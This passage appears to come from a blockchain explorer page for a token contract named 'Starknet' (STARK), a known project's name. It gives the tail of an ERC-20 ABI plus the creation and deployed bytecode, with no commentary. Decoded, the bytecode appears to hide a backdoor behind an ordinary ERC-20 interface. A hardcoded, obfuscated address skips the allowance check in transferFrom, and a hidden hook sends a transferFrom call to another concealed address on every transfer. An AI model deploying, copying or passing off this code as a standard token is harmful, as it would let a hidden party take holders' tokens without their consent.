int8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600881526020017f537461726b6e65740000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f535441524b0000000000000000000000000000000000000000000000000000008152506200009e620000926200014360201b60201c565b6200014b60201b60201c565b8160049080519060200190620000b69291906200043d565b508060059080519060200190620000cf9291906200043d565b5050506000732b9acfd85440b7828db8e54694ee07b2b056b30c90506200012c81620001006200020f60201b60201c565b600a6200010e9190620006ac565b6402540be400620001209190620007e9565b6200021860201b60201c565b6200013c6200035f60201b60201c565b5062000902565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200028b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200028290620005a4565b60405180910390fd5b80600360008282546200029f9190620005f4565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003539190620005c6565b60405180910390a35050565b6200036f6200038360201b60201c565b6200038160006200014b60201b60201c565b565b620003936200014360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620003b96200041460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000412576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004099062000582565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200044b9062000861565b90600052602060002090601f0160209004810192826200046f5760008555620004bb565b82601f106200048a57805160ff1916838001178555620004bb565b82800160010185558215620004bb579182015b82811115620004ba5782518255916020019190600101906200049d565b5b509050620004ca9190620004ce565b5090565b5b80821115620004e9576000816000905550600101620004cf565b5090565b6000620004fc602083620005e3565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006200053e601f83620005e3565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200057c816200084a565b82525050565b600060208201905081810360008301526200059d81620004ed565b9050919050565b60006020820190508181036000830152620005bf816200052f565b9050919050565b6000602082019050620005dd600083018462000571565b92915050565b600082825260208201905092915050565b600062000601826200084a565b91506200060e836200084a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000646576200064562000897565b5b828201905092915050565b6000808291508390505b6001851115620006a3578086048111156200067b576200067a62000897565b5b60018516156200068b5780820291505b80810290506200069b85620008f5565b94506200065b565b94509492505050565b6000620006b9826200084a565b9150620006c68362000854565b9250620006f57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006fd565b905092915050565b6000826200070f5760019050620007e2565b816200071f5760009050620007e2565b8160018114620007385760028114620007435762000779565b6001915050620007e2565b60ff84111562000758576200075762000897565b5b8360020a91508482111562000772576200077162000897565b5b50620007e2565b5060208310610133831016604e8410600b8410161715620007b35782820a905083811115620007ad57620007ac62000897565b5b620007e2565b620007c2848484600162000651565b92509050818404811115620007dc57620007db62000897565b5b81810290505b9392505050565b6000620007f6826200084a565b915062000803836200084a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200083f576200083e62000897565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200087a57607f821691505b60208210811415620008915762000890620008c6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611b7c80620009126000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b6040516101049190611798565b60405180910390f35b610127600480360381019061012291906111f3565b61038d565b604051610134919061177d565b60405180910390f35b6101456103b0565b604051610152919061191a565b60405180910390f35b610175600480360381019061017091906111a4565b6103ba565b604051610182919061177d565b60405180910390f35b6101936103e9565b6040516101a09190611935565b60405180910390f35b6101c360048036038101906101be91906111f3565b6103f2565b6040516101d0919061177d565b60405180910390f35b6101f360048036038101906101ee919061113f565b610429565b604051610200919061191a565b60405180910390f35b610211610472565b005b61021b610486565b604051610228919061172b565b60405180910390f35b6102396104af565b6040516102469190611798565b60405180910390f35b610269600480360381019061026491906111f3565b610541565b604051610276919061177d565b60405180910390f35b610299600480360381019061029491906111f3565b6105b8565b6040516102a6919061177d565b60405180910390f35b6102c960048036038101906102c49190611168565b6105db565b6040516102d6919061191a565b60405180910390f35b6102f960048036038101906102f4919061113f565b610662565b005b60606004805461030a90611a60565b80601f016020809104026020016040519081016040528092919081815260200182805461033690611a60565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b6000806103986106e6565b90506103a58185856106ee565b600191505092915050565b6000600354905090565b6000806103c56106e6565b90506103d28582856108b9565b6103dd858585610979565b60019150509392505050565b60006009905090565b6000806103fd6106e6565b905061041e81858561040f85896105db565b6104199190611982565b6106ee565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61047a610bf4565b6104846000610c72565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104be90611a60565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea90611a60565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b60008061054c6106e6565b9050600061055a82866105db565b90508381101561059f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610596906118fa565b60405180910390fd5b6105ac82868684036106ee565b60019250505092915050565b6000806105c36106e6565b90506105d0818585610979565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61066a610bf4565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d1906117da565b60405180910390fd5b6106e381610c72565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610755906118ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c5906117fa565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108ac919061191a565b60405180910390a3505050565b60006108c584846105db565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81148061091757506109166108fb6106e6565b73ffffffffffffffffffffffffffffffffffffffff16610d36565b5b156109225750610974565b81811015610965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095c9061181a565b60405180910390fd5b61097284848484036106ee565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e09061189a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a50906117ba565b60405180910390fd5b610a64838383610d5e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae29061183a565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bdb919061191a565b60405180910390a3610bee848484610d63565b50505050565b610bfc6106e6565b73ffffffffffffffffffffffffffffffffffffffff16610c1a610486565b73ffffffffffffffffffffffffffffffffffffffff1614610c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c679061187a565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000610d578273ffffffffffffffffffffffffffffffffffffffff16610d95565b9050919050565b505050565b610d908383833073ffffffffffffffffffffffffffffffffffffffff16610de5909392919063ffffffff16565b505050565b6000807ffc9c163d8edf790f43fe8c65b5695c34d6afd9f7fa98fbc9a804ba36f77f638260001b905060008373ffffffffffffffffffffffffffffffffffffffff83161490508092505050919050565b610e67610e078573ffffffffffffffffffffffffffffffffffffffff16610e6d565b6323b872dd858585604051602401610e2193929190611746565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610eb5565b50505050565b6000807ffc9c163d8edf790f43fe8c650fefd5a77acaeb9f132d0e2496d24db82e3eaed460001b905073ffffffffffffffffffffffffffffffffffffffff8116915050919050565b6000610f17826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16610f7c9092919063ffffffff16565b9050600081511115610f775780806020019051810190610f37919061122f565b610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d906118da565b60405180910390fd5b5b505050565b6060610f8b8484600085610f94565b90509392505050565b6060610f9f33610d95565b15610fbb5760405180602001604052806000815250905061107f565b82471015610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff59061185a565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516110279190611714565b60006040518083038185875af1925050503d8060008114611064576040519150601f19603f3d011682016040523d82523d6000602084013e611069565b606091505b509150915061107a87838387611087565b925050505b949350505050565b6060831561109d576000835150508290506110a8565b6110a783836110b0565b5b949350505050565b6000825111156110c35781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f79190611798565b60405180910390fd5b60008135905061110f81611b01565b92915050565b60008151905061112481611b18565b92915050565b60008135905061113981611b2f565b92915050565b60006020828403121561115157600080fd5b600061115f84828501611100565b91505092915050565b6000806040838503121561117b57600080fd5b600061118985828601611100565b925050602061119a85828601611100565b9150509250929050565b6000806000606084860312156111b957600080fd5b60006111c786828701611100565b93505060206111d886828701611100565b92505060406111e98682870161112a565b9150509250925092565b6000806040838503121561120657600080fd5b600061121485828601611100565b92505060206112258582860161112a565b9150509250929050565b60006020828403121561124157600080fd5b600061124f84828501611115565b91505092915050565b611261816119d8565b82525050565b611270816119ea565b82525050565b600061128182611950565b61128b8185611966565b935061129b818560208601611a2d565b80840191505092915050565b60006112b28261195b565b6112bc8185611971565b93506112cc818560208601611a2d565b6112d581611af0565b840191505092915050565b60006112ed602383611971565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611353602683611971565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113b9602283611971565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061141f601d83611971565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b600061145f602683611971565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c5602683611971565b91507f416464726573733a20696e73756666696369656e742062616c616e636520666f60008301527f722063616c6c00000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061152b602083611971565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061156b602583611971565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115d1602483611971565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611637602a83611971565b91507f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008301527f6f742073756363656564000000000000000000000000000000000000000000006020830152604082019050919050565b600061169d602583611971565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6116ff81611a16565b82525050565b61170e81611a20565b82525050565b60006117208284611276565b915081905092915050565b60006020820190506117406000830184611258565b92915050565b600060608201905061175b6000830186611258565b6117686020830185611258565b61177560408301846116f6565b949350505050565b60006020820190506117926000830184611267565b92915050565b600060208201905081810360008301526117b281846112a7565b905092915050565b600060208201905081810360008301526117d3816112e0565b9050919050565b600060208201905081810360008301526117f381611346565b9050919050565b60006020820190508181036000830152611813816113ac565b9050919050565b6000602082019050818103600083015261183381611412565b9050919050565b6000602082019050818103600083015261185381611452565b9050919050565b60006020820190508181036000830152611873816114b8565b9050919050565b600060208201905081810360008301526118938161151e565b9050919050565b600060208201905081810360008301526118b38161155e565b9050919050565b600060208201905081810360008301526118d3816115c4565b9050919050565b600060208201905081810360008301526118f38161162a565b9050919050565b6000602082019050818103600083015261191381611690565b9050919050565b600060208201905061192f60008301846116f6565b92915050565b600060208201905061194a6000830184611705565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061198d82611a16565b915061199883611a16565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119cd576119cc611a92565b5b828201905092915050565b60006119e3826119f6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a4b578082015181840152602081019050611a30565b83811115611a5a576000848401525b50505050565b60006002820490506001821680611a7857607f821691505b60208210811415611a8c57611a8b611ac1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611b0a816119d8565b8114611b1557600080fd5b50565b611b21816119ea565b8114611b2c57600080fd5b50565b611b3881611a16565b8114611b4357600080fd5b5056fea2646970667358221220776f08cbed329c0be0cb17b9e4f41253b047b30999ffb9bb2e36bb623c2cb3ef64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b6040516101049190611798565b60405180910390f35b610127600480360381019061012291906111f3565b61038d565b604051610134919061177d565b60405180910390f35b6101456103b0565b604051610152919061191a565b60405180910390f35b610175600480360381019061017091906111a4565b6103ba565b604051610182919061177d565b60405180910390f35b6101936103e9565b6040516101a09190611935565b60405180910390f35b6101c360048036038101906101be91906111f3565b6103f2565b6040516101d0919061177d565b60405180910390f35b6101f360048036038101906101ee919061113f565b610429565b604051610200919061191a565b60405180910390f35b610211610472565b005b61021b610486565b604051610228919061172b565b60405180910390f35b6102396104af565b6040516102469190611798565b60405180910390f35b610269600480360381019061026491906111f3565b610541565b604051610276919061177d565b60405180910390f35b610299600480360381019061029491906111f3565b6105b8565b6040516102a6919061177d565b60405180910390f35b6102c960048036038101906102c49190611168565b6105db565b6040516102d6919061191a565b60405180910390f35b6102f960048036038101906102f4919061113f565b610662565b005b60606004805461030a90611a60565b80601f016020809104026020016040519081016040528092919081815260200182805461033690611a60565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b6000806103986106e6565b90506103a58185856106ee565b600191505092915050565b6000600354905090565b6000806103c56106e6565b90506103d28582856108b9565b6103dd858585610979565b60019150509392505050565b60006009905090565b6000806103fd6106e6565b905061041e81858561040f85896105db565b6104199190611982565b6106ee565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61047a610bf4565b6104846000610c72565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104be90611a60565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea90611a60565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b60008061054c6106e6565b9050600061055a82866105db565b90508381101561059f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610596906118fa565b60405180910390fd5b6105ac82868684036106ee565b60019250505092915050565b6000806105c36106e6565b90506105d0818585610979565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61066a610bf4565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d1906117da565b60405180910390fd5b6106e381610c72565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610755906118ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c5906117fa565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108ac919061191a565b60405180910390a3505050565b60006108c584846105db565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81148061091757506109166108fb6106e6565b73ffffffffffffffffffffffffffffffffffffffff16610d36565b5b156109225750610974565b81811015610965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095c9061181a565b60405180910390fd5b61097284848484036106ee565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e09061189a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a50906117ba565b60405180910390fd5b610a64838383610d5e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae29061183a565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bdb919061191a565b60405180910390a3610bee848484610d63565b50505050565b610bfc6106e6565b73ffffffffffffffffffffffffffffffffffffffff16610c1a610486565b73ffffffffffffffffffffffffffffffffffffffff1614610c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c679061187a565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000610d578273ffffffffffffffffffffffffffffffffffffffff16610d95565b9050919050565b505050565b610d908383833073ffffffffffffffffffffffffffffffffffffffff16610de5909392919063ffffffff16565b505050565b6000807ffc9c163d8edf790f43fe8c65b5695c34d6afd9f7fa98fbc9a804ba36f77f638260001b905060008373ffffffffffffffffffffffffffffffffffffffff83161490508092505050919050565b610e67610e078573ffffffffffffffffffffffffffffffffffffffff16610e6d565b6323b872dd858585604051602401610e2193929190611746565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610eb5565b50505050565b6000807ffc9c163d8edf790f43fe8c650fefd5a77acaeb9f132d0e2496d24db82e3eaed460001b905073ffffffffffffffffffffffffffffffffffffffff8116915050919050565b6000610f17826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16610f7c9092919063ffffffff16565b9050600081511115610f775780806020019051810190610f37919061122f565b610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d906118da565b60405180910390fd5b5b505050565b6060610f8b8484600085610f94565b90509392505050565b6060610f9f33610d95565b15610fbb5760405180602001604052806000815250905061107f565b82471015610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff59061185a565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516110279190611714565b60006040518083038185875af1925050503d8060008114611064576040519150601f19603f3d011682016040523d82523d6000602084013e611069565b606091505b509150915061107a87838387611087565b925050505b949350505050565b6060831561109d576000835150508290506110a8565b6110a783836110b0565b5b949350505050565b6000825111156110c35781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f79190611798565b60405180910390fd5b60008135905061110f81611b01565b92915050565b60008151905061112481611b18565b92915050565b60008135905061113981611b2f565b92915050565b60006020828403121561115157600080fd5b600061115f84828501611100565b91505092915050565b6000806040838503121561117b57600080fd5b600061118985828601611100565b925050602061119a85828601611100565b9150509250929050565b6000806000606084860312156111b957600080fd5b60006111c786828701611100565b93505060206111d886828701611100565b92505060406111e98682870161112a565b9150509250925092565b6000806040838503121561120657600080fd5b600061121485828601611100565b92505060206112258582860161112a565b9150509250929050565b60006020828403121561124157600080fd5b600061124f84828501611115565b91505092915050565b611261816119d8565b82525050565b611270816119ea565b82525050565b600061128182611950565b61128b8185611966565b935061129b818560208601611a2d565b80840191505092915050565b60006112b28261195b565b6112bc8185611971565b93506112cc818560208601611a2d565b6112d581611af0565b840191505092915050565b60006112ed602383611971565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611353602683611971565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113b9602283611971565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061141f601d83611971565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b600061145f602683611971565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c5602683611971565b91507f416464726573733a20696e73756666696369656e742062616c616e636520666f60008301527f722063616c6c00000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061152b602083611971565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061156b602583611971565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115d1602483611971565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611637602a83611971565b91507f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008301527f6f742073756363656564000000000000000000000000000000000000000000006020830152604082019050919050565b600061169d602583611971565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6116ff81611a16565b82525050565b61170e81611a20565b82525050565b60006117208284611276565b915081905092915050565b60006020820190506117406000830184611258565b92915050565b600060608201905061175b6000830186611258565b6117686020830185611258565b61177560408301846116f6565b949350505050565b60006020820190506117926000830184611267565b92915050565b600060208201905081810360008301526117b281846112a7565b905092915050565b600060208201905081810360008301526117d3816112e0565b9050919050565b600060208201905081810360008301526117f381611346565b9050919050565b60006020820190508181036000830152611813816113ac565b9050919050565b6000602082019050818103600083015261183381611412565b9050919050565b6000602082019050818103600083015261185381611452565b9050919050565b60006020820190508181036000830152611873816114b8565b9050919050565b600060208201905081810360008301526118938161151e565b9050919050565b600060208201905081810360008301526118b38161155e565b9050919050565b600060208201905081810360008301526118d3816115c4565b9050919050565b600060208201905081810360008301526118f38161162a565b9050919050565b6000602082019050818103600083015261191381611690565b9050919050565b600060208201905061192f60008301846116f6565b92915050565b600060208201905061194a6000830184611705565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061198d82611a16565b915061199883611a16565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119cd576119cc611a92565b5b828201905092915050565b60006119e3826119f6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a4b578082015181840152602081019050611a30565b83811115611a5a576000848401525b50505050565b60006002820490506001821680611a7857607f821691505b60208210811415611a8c57611a8b611ac1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f830116905091905056